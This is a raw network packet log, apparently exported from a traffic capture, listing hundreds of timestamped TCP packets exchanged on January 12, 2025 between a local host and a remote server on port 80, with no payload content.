Jan 12, 2025 17:39:14.112903118 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.112903118 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.112910986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112924099 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112934113 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112945080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112945080 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.112945080 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.112955093 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112967968 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112977982 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.112988949 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.113014936 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.113014936 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.113014936 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.113076925 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.165216923 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.165271044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.165303946 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.165324926 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.165360928 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.165365934 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.165365934 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.165416002 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.165431023 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.165468931 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.165474892 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.165504932 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.165529013 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.165559053 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.165610075 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.165642977 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.165674925 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.165724993 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.165757895 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.165806055 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.165812969 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.165812969 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.165838003 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.165870905 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.165904999 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.165915012 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.165915012 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.165915012 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.165937901 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.165972948 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.165973902 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.165973902 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.166007042 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.166039944 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.166052103 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.166052103 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.166073084 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.166093111 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.166106939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.166140079 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.166146040 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.166146040 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.166197062 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.166227102 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.166249037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.166282892 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.166301966 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.166301966 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.166316986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.166358948 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.166371107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.166373014 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.166420937 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.166476011 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.166479111 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.166479111 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.166507959 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.166537046 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.166542053 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.166557074 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.166590929 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.166595936 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.166625977 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.166660070 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.166695118 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.166716099 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.166716099 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.166716099 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.166745901 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.166749954 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.166786909 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.166819096 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.166851997 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.166883945 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.166899920 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.166899920 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.166899920 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.166920900 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.166954041 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.166992903 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.167001963 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.167001963 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.167001963 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.167022943 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.167057037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.167089939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.167094946 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.167094946 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.167094946 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.167123079 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.167146921 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.167156935 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.167190075 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.167195082 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.167195082 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.167223930 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.167229891 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.167258024 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.167290926 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.167335033 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.167335033 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.167335033 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.167344093 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.167377949 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.167412043 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.167445898 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.167458057 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.167458057 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.167459011 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.167479038 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.167526960 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.167526960 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.198491096 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.198506117 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.198515892 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.198538065 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.198546886 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.198559046 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.198571920 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.198585033 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.198628902 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.198628902 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.198677063 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.198688984 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.198699951 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.198710918 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.198721886 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.198755026 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.198765039 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.198771000 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.198771000 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.198771000 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.198776960 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.198787928 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.198798895 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.198842049 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.198842049 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.198914051 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.198925972 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.198936939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.198951006 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.198962927 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.198972940 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.198983908 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.198995113 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.198999882 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.199001074 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.199016094 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.199029922 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.199043989 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.199043989 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.199052095 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.199063063 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.199068069 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.199084044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.199093103 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.199110985 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.199116945 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.199116945 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.199129105 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.199135065 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.199146986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.199157953 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.199163914 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.199163914 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.199168921 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.199182034 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.199193954 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.199204922 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.199230909 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.199230909 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.199230909 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.199270010 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.199280977 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.199290037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.199291945 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.199301958 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.199321032 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.199321985 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.199332952 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.199340105 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.199343920 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.199388027 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.199388027 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.199388027 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.199395895 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.199407101 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.199418068 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.199429035 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.199441910 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.199441910 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.199448109 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.199460030 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.199470043 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.199480057 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.199491978 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.199502945 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.199502945 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.199502945 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.199517012 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.199528933 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.199532986 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.199556112 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.199692965 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.251446009 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.251518011 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.251549959 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.251604080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.251657963 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.251701117 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.251701117 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.251701117 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.251713037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.251766920 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.251784086 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.251816988 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.251858950 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.251877069 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.251893997 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.251897097 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.251897097 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.251897097 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.251918077 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.251938105 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.251952887 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.251970053 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.251970053 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.251970053 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.251986027 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.251998901 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.252011061 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252027035 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252043009 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252048016 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.252048016 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.252059937 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252074957 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252090931 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252104044 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.252104044 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.252104044 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.252127886 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252141953 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252156019 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252173901 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252192020 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252202034 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252202034 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.252202034 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.252202034 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.252213955 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252224922 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252238989 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252249956 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252259016 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.252259016 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.252260923 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252274990 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252285957 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252295971 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252307892 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252310038 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.252310038 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.252310038 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.252412081 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.252412081 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.252506018 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252521992 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252541065 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252552032 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252568007 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252578974 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252589941 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252599955 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252609015 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.252609968 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252609015 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.252609015 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.252624035 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252635956 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252646923 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252659082 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252671003 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252672911 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.252672911 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.252672911 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.252701044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252717972 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252728939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252739906 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252749920 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.252752066 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252749920 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.252749920 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.252810955 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252821922 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252831936 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252840996 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252854109 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.252863884 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.252863884 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.252863884 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.252981901 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.252981901 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.284888983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.284920931 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.284934044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.284946918 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.284956932 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.284969091 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285027027 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285027981 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.285041094 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285062075 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285073042 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285085917 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285096884 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285109043 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285120010 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.285120964 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:14.285120010 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.285120010 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.285146952 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:14.285156965 CET	49975	80	192.168.2.7	31.41.244.11
